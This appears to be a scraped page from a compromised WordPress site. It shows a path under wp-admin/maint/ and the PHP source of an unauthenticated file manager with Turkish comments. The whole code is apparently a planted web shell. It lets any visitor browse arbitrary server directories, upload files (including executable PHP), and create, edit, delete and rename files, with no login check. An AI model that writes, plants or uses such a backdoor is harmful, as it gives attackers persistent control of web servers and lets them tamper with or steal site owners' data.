PATH:
home
/
ediuae
/
accubooksuae.com
/
wp-admin
/
maint
/
880451
<?php // Hataları göster ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); session_start(); // Geçerli dizin $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) { $path = getcwd(); } // Dosya/folder adı alımı $item = isset($_GET['item']) ? basename($_GET['item']) : ''; $itemPath = $path . DIRECTORY_SEPARATOR . $item; // === Ana Dizin Listeleyici === function listDirectory($path) { $items = array_diff(scandir($path), ['.', '..']); echo "<h3>📁 Current Directory: $path</h3><ul>"; foreach ($items as $item) { $itemFull = realpath($path . DIRECTORY_SEPARATOR . $item); if (is_dir($itemFull)) { echo "<li>📂 <a href='?path=" . urlencode($itemFull) . "'>$item</a></li>"; } else { echo "<li>📄 $item [<a href='?path=" . urlencode($path) . "&action=edit&item=" . urlencode($item) . "'>Edit</a>] [<a href='?path=" . urlencode($path) . "&action=delete&item=" . urlencode($item) . "'>Delete</a>] [<a href='?path=" . urlencode($path) . "&action=rename&item=" . urlencode($item) . "'>Rename</a>] </li>"; } } echo "</ul>"; } // === Dosya Yükleme İşlevi === function handleUpload($path) { if (!empty($_FILES['file']['name'])) { $target = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "<p style='color:green;'>✅ File uploaded.</p>"; } else { echo "<p style='color:red;'>❌ Upload failed.</p>"; } } } // === Klasör Oluşturma === function createFolder($path) { $folder = trim($_POST['folder_name']); if (!$folder) return; $folderPath = $path . DIRECTORY_SEPARATOR . $folder; if (!file_exists($folderPath)) { mkdir($folderPath); echo "<p style='color:green;'>📁 Folder created: $folder</p>"; } else { echo "<p style='color:red;'>⚠️ Folder already exists.</p>"; } } // === Dosya Oluşturma === function createFile($path) { $filename = trim($_POST['file_name']); if (!$filename) return; $filePath = $path . DIRECTORY_SEPARATOR . $filename; if (!file_exists($filePath)) { file_put_contents($filePath, ''); echo "<p style='color:green;'>📄 File created: $filename</p>"; } else { echo "<p style='color:red;'>⚠️ File already exists.</p>"; } } // === Dosya Düzenleme === function editFile($filePath) { if (!file_exists($filePath)) { echo "<p style='color:red;'>❌ File does not exist.</p>"; return; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "<p style='color:green;'>✅ File saved!</p>"; } $content = htmlspecialchars(file_get_contents($filePath)); echo "<h3>✏️ Editing File: " . basename($filePath) . "</h3>"; echo "<form method='POST'> <textarea name='content' style='width:100%; height:300px;'>$content</textarea><br> <button type='submit'>Save</button> </form>"; } // === Dosya Silme === function deleteFile($filePath) { if (file_exists($filePath) && is_file($filePath)) { unlink($filePath); echo "<p style='color:green;'>🗑️ File deleted.</p>"; } else { echo "<p style='color:red;'>❌ File not found.</p>"; } } // === Yeniden Adlandırma === function renameItem($filePath) { if (!file_exists($filePath)) { echo "<p style='color:red;'>❌ Item does not exist.</p>"; return; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (rename($filePath, $newPath)) { echo "<p style='color:green;'>✅ Renamed successfully.</p>"; } else { echo "<p style='color:red;'>❌ Rename failed.</p>"; } } else { echo "<h3>✏️ Rename: " . basename($filePath) . "</h3> <form method='POST'> <input type='text' name='new_name' placeholder='New name' required> <button type='submit'>Rename</button> </form>"; } } // === POST işlemleri === if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) { handleUpload($path); } elseif (isset($_POST['folder_name'])) { createFolder($path); } elseif (isset($_POST['file_name'])) { createFile($path); } } // === GET işlemleri === if (isset($_GET['action']) && $item) { switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': deleteFile($itemPath); break; case 'rename': renameItem($itemPath); break; } } // === Üst Dizin Butonu === echo "<a href='?path=" . urlencode(dirname($path)) . "'>⬅️ Go Up</a>"; // === Dizin Gösterimi === listDirectory($path); // === Formlar === echo <<<HTML <hr> <h3>📤 Upload File</h3> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> <h3>📁 Create Folder</h3> <form method="POST"> <input type="text" name="folder_name" placeholder="Folder name" required> <button type="submit">Create</button> </form> <h3>📄 Create File</h3> <form method="POST"> <input type="text" name="file_name" placeholder="File name" required> <button type="submit">Create</button> </form> HTML;
[+]
..
[-] index.php
[edit]